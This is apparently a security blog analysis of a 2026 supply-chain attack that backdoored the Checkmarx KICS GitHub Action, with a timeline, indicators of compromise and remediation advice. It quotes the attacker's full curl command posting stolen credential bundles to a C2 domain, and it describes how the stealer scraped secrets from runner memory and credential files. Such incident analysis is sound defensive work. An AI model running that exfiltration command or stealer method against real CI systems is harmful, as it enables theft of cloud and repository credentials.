The security scanner that tells you what is wrong with your infrastructure needs access to your infrastructure. That is the product working as designed. TeamPCP read the job description.
CVE-2026-33634: The Scanner Ran. So Did Their Code.
patterns
cve
proof of concept
"CRITICAL SECURITY ADVISORY: Repository compromised. Malware injected in all Git Tags."
That was cyril-flieller's GitHub issue title, filed at 15:56 UTC on March 23, 2026. Issue #152 on the Checkmarx KICS GitHub Action repository. He had read setup.sh. The KICS action came down 54 minutes later.
Every pipeline that ran KICS between 12:58 and 16:50 UTC on March 23 exfiltrated. The scan completed normally.
The scanner is the job that needs everything
KICS -- Keeping Infrastructure as Code Secure -- scans IaC templates for misconfigurations in your cloud configuration. To scan your cloud infrastructure, it needs cloud credentials. To operate in CI, it gets GITHUB_TOKEN. It needs read access to the Terraform state, the Kubernetes config, the cloud provider credentials the pipeline passes in. In most organizations, the KICS step runs before tests, before deploy, with everything the pipeline trusts it with.
That is not a misconfiguration. That is the product working as designed.
I know what environment a KICS step gets in a typical pipeline. When I look at the list -- AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, npm tokens, Docker credentials -- I am looking at the highest-credential non-deployment job in the pipeline. TeamPCP looked at the same list. They chose KICS specifically.
This is the security-tool-as-primitive pattern: the privileged action of your security tool becomes the attack. The defender's hands become the attacker's hands. CVE-2026-33634 is the clearest instance in the catalog.
Our lab confirmed what the stealer sees on a populated CI runner:
[+] FOUND: AWS_ACCESS_KEY_ID (length: 20)
[+] FOUND: AWS_SECRET_ACCESS_KEY (length: 40)
[+] FOUND: GITHUB_TOKEN (length: 32)
[+] FOUND: NPM_TOKEN (length: 22)
Credential exfiltration complete.
Captured: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, NPM_TOKENAll 35 tags, one force-push
The cx-plugins-releases Checkmarx service account was compromised using credentials stolen from Aqua Security's aqua-bot account during the Trivy wave four days earlier. At 12:58 UTC on March 23, all 35 tags in Checkmarx/kics-github-action were force-pushed to a malicious commit. The commit metadata was cloned from the legitimate commits each tag had pointed to: same author, same timestamp, same message. GitHub's "Immutable" badge on each release displayed normally. The tag existed. It now pointed at attacker-controlled code.
This is the mutable-reference-as-immutable pattern. Git tags are not immutable. @v2.1.20, @latest, @v2 -- every one is a mutable reference. A single force-push covers every consumer who has not pinned to a full commit SHA. All 35 tags. One operation.
The replacement setup.sh ran in three stages. Stage 1: read /proc/[pid]/mem from Runner.Worker processes, searching for the exact pattern GitHub Actions uses to store masked secrets in runner memory: {"value":"[secret]","isSecret":true}. The runner keeps secrets in memory. The script extracted them directly from the process address space. Stage 2: sweep 50+ credential paths -- ~/.aws/credentials, ~/.npmrc, ~/.kube/config, ~/.docker/config.json, Terraform state files, SSH private keys, crypto wallet files. Stage 3: bundle everything into tpcp.tar.gz, encrypt with AES-256-CBC using a random session key wrapped with the attacker's RSA-4096 public key via OAEP, then POST it out:
curl -s -o /dev/null -w %{http_code} -X POST https://checkmarx[.]zone \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gzThe C2 domain is checkmarx[.]zone. In a CI log showing a KICS scan completing, a curl POST to what reads like a Checkmarx telemetry endpoint passes a fast review. Only the attacker can decrypt the payload: the AES session key is RSA-OAEP wrapped with their public key.
If the C2 was unreachable, the fallback used the stolen GITHUB_TOKEN to create a repository named docs-tpcp in the victim's GitHub organization and push the encrypted bundle there. The GITHUB_TOKEN a KICS step runs with has enough permission to create repositories. That was not a gap. KICS uses GITHUB_TOKEN to post scan annotations on pull requests. The scope required for annotations is the scope required for repository creation.
Non-CI Linux systems got a persistence stage: a Python backdoor at ~/.config/sysmon/sysmon.py, a systemd user service polling the C2 every 50 minutes, and on Kubernetes clusters, a privileged DaemonSet deployed across every node including the control plane.
The wave was not random
The KICS compromise did not begin here. It was wave two.
| Date (UTC) | Event |
|---|---|
| Feb 20 | hackerbot-claw account created, begins scanning for exploitable pull_request_target workflows |
| Feb 28 | Trivy compromised via PwnRequest; aqua-bot credentials exfiltrated |
| Mar 19, 17:43 | aquasecurity/trivy-action -- 75 of 76 tags force-pushed. aquasecurity/setup-trivy -- all 7 tags |
| Mar 19, 18:22 | Backdoored Trivy v0.69.4 published to Docker Hub, GHCR, ECR |
| Mar 23, 12:58 | All 35 KICS tags force-pushed via compromised cx-plugins-releases |
| Mar 23, 15:56 | cyril-flieller files GitHub issue #152 |
| Mar 23, 16:50 | KICS GitHub Action taken down |
| Mar 24 | LiteLLM v1.82.7 and v1.82.8 published to PyPI using stolen credentials |
Trivy is a container and IaC vulnerability scanner. KICS is an IaC scanner. LiteLLM is an AI proxy that holds API keys for every model provider it routes to. TeamPCP did not pick targets at random. They targeted the tools that, by design, hold credentials to everything they touch.
Each wave used a different typosquat C2 domain to avoid blocklists from the previous one: scan.aquasecurtiy[.]org for Trivy, checkmarx[.]zone for KICS, models.litellm[.]cloud for LiteLLM. The domains read like vendor telemetry endpoints. aquasecurtiy for aquasecurity. checkmarx.zone for checkmarx.com. The analyst reviewing egress at 2 AM does not catch a transposed vowel.
Stolen Trivy credentials funded the KICS compromise. Stolen KICS credentials funded LiteLLM. Each compromise harvesting the credentials that opened the next target.
The C2 that cannot be taken down
Within 24 hours of the Trivy compromise, stolen npm tokens propagated a self-replicating worm -- CanisterWorm -- across 66+ npm packages. This is the self-propagating supply chain pattern: each infected package harvests the credentials that fund the next wave. The worm's C2 is an ICP blockchain smart contract at tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io.
The canister is a decentralized smart contract. There is no registrar to call, no hosting provider to contact, no single point of takedown. It exposes three methods: get_latest_link, http_request, update_link. The attacker can rotate the payload URL across all infected machines by calling update_link, without republishing any npm package.
The kill switch is documented in the code: if the canister response contains the string "youtube", the backdoor skips execution. That detail shipped in the published version. The attacker documented their operational posture and published it anyway. They expected it would not matter.
Machines that ran the malicious packages and were not fully remediated are still polling the canister every 50 minutes via pgmon.service, masquerading as a PostgreSQL monitoring daemon.
Bitwarden's CLI was caught in the same campaign on April 22, via a compromised npm token from the KICS wave. 334 users downloaded @bitwarden/cli@2026.4.0 during the 93-minute window before Bitwarden contained it. The question was never whether Bitwarden's vault was breached. The question was whether a password manager's CLI had swept the credentials off 334 developer machines.
The indicators are already in your logs
If your pipeline ran Checkmarx/kics-github-action at any tag between 12:58 and 16:50 UTC on March 23, or aquasecurity/trivy-action between 17:43 March 19 and 05:40 March 20, treat your CI secrets as compromised.
| Indicator | Type |
|---|---|
KICS-Telemetry/2.0 |
User-Agent in egress logs |
checkmarx[.]zone |
KICS/LiteLLM wave C2 |
audit.checkmarx[.]cx |
Exfil domain |
scan.aquasecurtiy[.]org |
Trivy wave C2 |
83.142.209.11, 45.148.10.212 |
C2 IPs |
~/.config/sysmon/sysmon.py |
Backdoor |
~/.config/systemd/user/pgmon.service |
CanisterWorm persistence |
/tmp/pglog, /tmp/.pg_state |
CanisterWorm artifacts |
docs-tpcp repo in your GitHub orgs |
GITHUB_TOKEN exfil fallback |
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a |
Trivy malicious entrypoint.sh |
Twelve days after KICS was taken down, Checkmarx's response to the April 22 Bitwarden disclosure was to digest-pin their own Dockerfile base images and switch to consuming GitHub Actions by full commit SHA. They now do what they were building tooling to tell you to do. The security scanner learned the lesson the scanner should have been teaching.
PoC: raajheshkannaa/teampcp-goat / ugurrates/teampcp-supply-chain-attack